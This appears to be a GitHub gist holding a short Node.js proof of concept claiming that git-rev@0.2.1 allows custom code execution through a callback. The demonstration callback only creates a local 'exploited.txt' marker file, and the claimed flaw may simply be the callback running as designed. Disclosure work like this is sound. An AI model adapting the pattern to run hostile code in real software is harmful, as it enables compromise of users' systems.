Created
October 28, 2023 15:33
-
-
Save mcoimbra/37a16e608e18ff464688941c27e877bb to your computer and use it in GitHub Desktop.
Package git-rev@0.2.1: it is possible to exeute custom code via a callback.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('git-rev'); | |
const cb = function(error_msg) { | |
const fs = require('node:fs'); | |
let fd = fs.openSync('exploited.txt', 'a'); | |
fs.closeSync(fd); | |
} | |
// Through the callback a local 'exploited.txt' file will be created. | |
pkg.short(cb); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment